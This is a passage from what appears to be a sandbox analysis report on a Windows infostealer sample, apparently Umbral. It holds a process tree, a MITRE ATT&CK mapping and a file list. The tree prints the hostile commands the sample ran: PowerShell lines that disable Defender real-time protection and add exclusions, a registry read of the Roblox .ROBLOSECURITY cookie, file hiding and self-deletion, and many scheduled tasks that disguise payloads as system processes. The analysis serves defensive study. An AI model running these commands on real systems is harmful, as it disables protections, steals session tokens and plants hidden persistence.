        9⤵
        
        PID:1388
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" computersystem get totalphysicalmemory
        9⤵
        
        PID:4184
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        9⤵
        
        PID:3960
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        9⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4748
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic" path win32_VideoController get name
        9⤵
        Detects videocard installed
        
        PID:3248
        
        C:\Windows\SYSTEM32\cmd.exe
        
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause
        9⤵
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:756
        
        C:\Windows\system32\PING.EXE
        
        ping localhost
        10⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:924
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        8⤵
        Executes dropped EXE
        
        PID:4292
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        9⤵
        Checks computer location settings
        Executes dropped EXE
        Modifies registry class
        
        PID:3672
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        10⤵
        Checks computer location settings
        
        PID:3096
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        11⤵
        System Location Discovery: System Language Discovery
        
        PID:3124
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        12⤵
        Executes dropped EXE
        
        PID:208
      - C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        6⤵
        Executes dropped EXE
        
        PID:3948
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        7⤵
        Executes dropped EXE
        
        PID:4988
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        7⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:736
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        8⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:3828
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        9⤵
        System Location Discovery: System Language Discovery
        
        PID:1860
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        10⤵
        
        PID:4316
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        11⤵
        Executes dropped EXE
        
        PID:2292
    - - C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        5⤵
        Executes dropped EXE
        
        PID:728
      - C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        6⤵
        Executes dropped EXE
        
        PID:4244
      - C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        6⤵
        Executes dropped EXE
        
        PID:3716
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        7⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:2456
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:1072
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        9⤵
        
        PID:2964
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        10⤵
        Executes dropped EXE
        
        PID:1988
  - - C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
      "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:640
    - - C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        5⤵
        Executes dropped EXE
        
        PID:60
    - - C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        5⤵
        Executes dropped EXE
        
        PID:3356
      - C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        6⤵
        Executes dropped EXE
        Modifies registry class
        
        PID:3668
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        7⤵
        
        PID:2056
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        8⤵
        
        PID:924
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        9⤵
        Executes dropped EXE
        
        PID:1416
- - C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
    "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:2140
  - - C:\Users\Admin\AppData\Local\Temp\Umbral.exe
      "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
      4⤵
      Executes dropped EXE
      PID:2208
  - - C:\Users\Admin\AppData\Local\Temp\fix.exe
      "C:\Users\Admin\AppData\Local\Temp\fix.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:884
    - - C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Modifies registry class
        Suspicious use of WriteProcessMemory
        
        PID:740
      - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        6⤵
        
        PID:2832
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        7⤵
        
        PID:4128
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        8⤵
        Executes dropped EXE
        
        PID:2392
- C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
  "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1472
- - C:\Users\Admin\AppData\Local\Temp\Umbral.exe
    "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
    3⤵
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4900
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3236
  - - C:\Windows\SYSTEM32\attrib.exe
      "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
      4⤵
      Views/modifies file attributes
      PID:620
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3828
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:768
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:628
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:944
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" os get Caption
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4328
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" computersystem get totalphysicalmemory
      4⤵
      PID:3344
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      4⤵
      PID:2508
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:4528
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic" path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:3748
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      PID:8
    - - C:\Windows\system32\PING.EXE
        
        ping localhost
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1332
- - C:\Users\Admin\AppData\Local\Temp\fix.exe
    "C:\Users\Admin\AppData\Local\Temp\fix.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:4480
  - - C:\Users\Admin\AppData\Local\Temp\ыв.exe
      "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Modifies registry class
      Suspicious use of WriteProcessMemory
      PID:4784
    - - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1524
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:1928
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        7⤵
        UAC bypass
        Executes dropped EXE
        Checks whether UAC is enabled
        Drops file in Program Files directory
        Drops file in Windows directory
        Suspicious behavior: EnumeratesProcesses
        System policy modification
        
        PID:2912
        
        C:\Program Files\Microsoft Office\Updates\Download\wscript.exe
        
        "C:\Program Files\Microsoft Office\Updates\Download\wscript.exe"
        8⤵
        Executes dropped EXE
        
        PID:4368

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 11 /tr "'C:\Windows\SystemApps\Microsoft.Windows.CapturePicker_cw5n1h2txyewy\microsoft.system.package.metadata\Autogen\RuntimeBroker.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5004

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Windows\SystemApps\Microsoft.Windows.CapturePicker_cw5n1h2txyewy\microsoft.system.package.metadata\Autogen\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2600

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 6 /tr "'C:\Windows\SystemApps\Microsoft.Windows.CapturePicker_cw5n1h2txyewy\microsoft.system.package.metadata\Autogen\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:400

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 12 /tr "'C:\Recovery\WindowsRE\Idle.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2660

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Idle" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\Idle.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4952

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 10 /tr "'C:\Recovery\WindowsRE\Idle.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2876

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Adobe\Acrobat Reader DC\Setup Files\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\sihost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4268

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihost" /sc ONLOGON /tr "'C:\Program Files (x86)\Adobe\Acrobat Reader DC\Setup Files\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\sihost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4624

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\Adobe\Acrobat Reader DC\Setup Files\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\sihost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2040

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "powershellp" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\Windows Sidebar\Shared Gadgets\powershell.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:628

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "powershell" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Sidebar\Shared Gadgets\powershell.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1932

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "powershellp" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\Windows Sidebar\Shared Gadgets\powershell.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4536

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 14 /tr "'C:\Recovery\WindowsRE\StartMenuExperienceHost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4748

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\StartMenuExperienceHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5044

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 5 /tr "'C:\Recovery\WindowsRE\StartMenuExperienceHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3156

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 12 /tr "'C:\Users\Default User\csrss.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2872

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Users\Default User\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2568

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 14 /tr "'C:\Users\Default User\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:556

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "taskhostwt" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\logs\taskhostw.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:884

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "taskhostw" /sc ONLOGON /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\logs\taskhostw.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1708

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "taskhostwt" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\logs\taskhostw.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4476

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 10 /tr "'C:\Program Files\Windows Sidebar\Gadgets\spoolsv.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5116

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsv" /sc ONLOGON /tr "'C:\Program Files\Windows Sidebar\Gadgets\spoolsv.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2900

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 5 /tr "'C:\Program Files\Windows Sidebar\Gadgets\spoolsv.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1268

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 12 /tr "'C:\Windows\Sun\Java\Deployment\dllhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1416

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Windows\Sun\Java\Deployment\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:756

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 7 /tr "'C:\Windows\Sun\Java\Deployment\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:324

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "UmbralU" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\Umbral.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3028

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Umbral" /sc ONLOGON /tr "'C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\Umbral.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1424

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "UmbralU" /sc MINUTE /mo 6 /tr "'C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\Umbral.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1864

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sysmons" /sc MINUTE /mo 5 /tr "'C:\hyperBroker\sysmon.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3632

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sysmon" /sc ONLOGON /tr "'C:\hyperBroker\sysmon.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4092

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sysmons" /sc MINUTE /mo 14 /tr "'C:\hyperBroker\sysmon.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2936

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WaaSMedicAgentW" /sc MINUTE /mo 8 /tr "'C:\Windows\Setup\WaaSMedicAgent.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1912

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WaaSMedicAgent" /sc ONLOGON /tr "'C:\Windows\Setup\WaaSMedicAgent.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2848

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WaaSMedicAgentW" /sc MINUTE /mo 11 /tr "'C:\Windows\Setup\WaaSMedicAgent.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4264

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 9 /tr "'C:\Windows\de-DE\dllhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2980

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Windows\de-DE\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1296

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 8 /tr "'C:\Windows\de-DE\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3704

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sysmons" /sc MINUTE /mo 10 /tr "'C:\Recovery\WindowsRE\sysmon.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1780

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sysmon" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\sysmon.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4604

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sysmons" /sc MINUTE /mo 9 /tr "'C:\Recovery\WindowsRE\sysmon.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:404

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "upfcu" /sc MINUTE /mo 9 /tr "'C:\Users\Admin\Favorites\Links\upfc.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4764

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "upfc" /sc ONLOGON /tr "'C:\Users\Admin\Favorites\Links\upfc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2332

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "upfcu" /sc MINUTE /mo 11 /tr "'C:\Users\Admin\Favorites\Links\upfc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1860

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wscriptw" /sc MINUTE /mo 14 /tr "'C:\Program Files\Microsoft Office\Updates\Download\wscript.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3184

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wscript" /sc ONLOGON /tr "'C:\Program Files\Microsoft Office\Updates\Download\wscript.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4736

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wscriptw" /sc MINUTE /mo 5 /tr "'C:\Program Files\Microsoft Office\Updates\Download\wscript.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4768

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "unsecappu" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\Google\Update\Offline\unsecapp.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4732

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "unsecapp" /sc ONLOGON /tr "'C:\Program Files (x86)\Google\Update\Offline\unsecapp.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5096

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "unsecappu" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\Google\Update\Offline\unsecapp.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4820

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "ывы" /sc MINUTE /mo 12 /tr "'C:\Users\Default\Music\ыв.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1904

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "ыв" /sc ONLOGON /tr "'C:\Users\Default\Music\ыв.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1444

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "ывы" /sc MINUTE /mo 7 /tr "'C:\Users\Default\Music\ыв.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1392

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 13 /tr "'C:\Users\Default\Templates\lsass.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3612

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\Users\Default\Templates\lsass.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3816

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 5 /tr "'C:\Users\Default\Templates\lsass.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4052

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\RustDedicated.exe.log

Filesize
654B

MD5
2ff39f6c7249774be85fd60a8f9a245e

SHA1
